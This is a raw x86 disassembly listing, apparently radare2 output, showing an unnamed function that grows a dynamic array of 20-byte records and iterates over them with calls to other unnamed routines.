cmp edx, eax
ja 0x40453d
mov ecx, edx
mov esi, 0xffffffff
shr ecx, 1
add ecx, 8
add edx, ecx
cmovb edx, esi
cmp edx, eax
jbe 0x40450c
lea ecx, [esp + 0x280]
call fcn.0040634c
test ax, ax
jne 0x404411
mov eax, dword [esp + 0x284]
lea ecx, [eax + 1]
mov edx, dword [esp + 0x10]
imul eax, eax, 0x14
mov esi, dword [esp + 4]
mov dword [esp + 0x284], ecx
mov ecx, dword [esp + 0x280]
mov dword [ecx + eax], edx
mov dword [ecx + eax + 4], ebx
mov ebx, dword [esp + 0x2c]
mov dword [ecx + eax + 8], esi
lea esi, [esp + 0x180]
mov dword [ecx + eax + 0xc], ebx
mov dword [ecx + eax + 0x10], esi
jmp 0x40444a
mov eax, dword [esp + 0x28c]
mov ecx, dword [esp + 0x290]
mov edx, dword [esp + 0x280]
mov esi, dword [esp + 0x288]
mov dword [esp + 0x10], eax
mov dword [esp + 0x88], eax
mov eax, dword [esp + 0x284]
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x8c], ecx
lea ecx, [esp + 0x88]
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
push eax
mov dword [esp + 0x4c], esi
push esi
call fcn.004063cf
pop ecx
pop edx
test al, 1
je 0x4045de
xor esi, esi
jmp 0x404658
xor esi, esi
inc esi
jmp 0x404658
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x380]
push dword [esp + 4]
push dword [esp + 0x30]
call fcn.0040642a
pop eax
pop ecx
movzx esi, word [esp + 0x388]
test si, si
jne 0x404658
mov eax, dword [esp + 0x384]
mov ebx, dword [esp + 0x380]
mov dword [esp + 4], eax
imul eax, eax, 0x14
push eax
mov esi, dword [esp + 0x10]
push esi
push ebx
call fcn.0040307b
add esp, 0xc
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x10]
mov edx, esi
mov dword [esp + 0x94], ecx
mov dword [esp + 0x98], eax
lea ecx, [esp + 0x94]
push dword [esp + 0x48]
call fcn.00406491
pop eax
xor esi, esi
mov dword [esp + 0xc], ebx
mov edx, dword [esp + 0x20]
lea ecx, [esp + 0x278]
push dword [esp + 0x18]
call fcn.00404f61
pop eax
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x254]
push dword [esp + 0x1c]
call fcn.00404f61
pop eax
mov ecx, dword [esp + 0x278]
mov edx, dword [esp + 0x27c]
push dword [esp + 0x14]
push edi
call fcn.0040622c
pop eax
pop ecx
test si, si
jne 0x4041d7
mov eax, dword [esp + 4]
lea esi, [eax + 1]
mov eax, dword [esp + 0xc]
dec esi
je 0x404731
mov ecx, dword [eax + 0x10]
lea edi, [eax + 0x14]
mov dword [esp + 0x290], ecx
lea ecx, [esp + 0x280]
movsd xmm0, qword [eax]
movsd xmm1, qword [eax + 8]
movsd qword [esp + 0x288], xmm1
movsd qword [esp + 0x280], xmm0
call fcn.004064ed
test ax, ax
mov eax, edi
je 0x4046b0
mov esi, dword [esp + 4]
mov edi, dword [esp + 0xc]
sub esi, 1
jb 0x404774
mov eax, dword [edi + 0x10]
lea ecx, [esp + 0x380]
mov dword [esp + 0x390], eax
movsd xmm0, qword [edi]
movsd xmm1, qword [edi + 8]
movsd qword [esp + 0x388], xmm1
movsd qword [esp + 0x380], xmm0
call fcn.00408922
add edi, 0x14
jmp 0x4046f6
mov esi, dword [esp + 4]
mov edi, dword [esp + 0xc]
sub esi, 1
jb 0x404774
mov eax, dword [edi + 0x10]
lea ecx, [esp + 0x380]
mov dword [esp + 0x390], eax
movsd xmm0, qword [edi]
movsd xmm1, qword [edi + 8]
movsd qword [esp + 0x388], xmm1
movsd qword [esp + 0x380], xmm0
call fcn.00408922
add edi, 0x14
jmp 0x404739
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x278]
push dword [esp + 4]
call fcn.00406491
pop eax
jmp 0x4041d7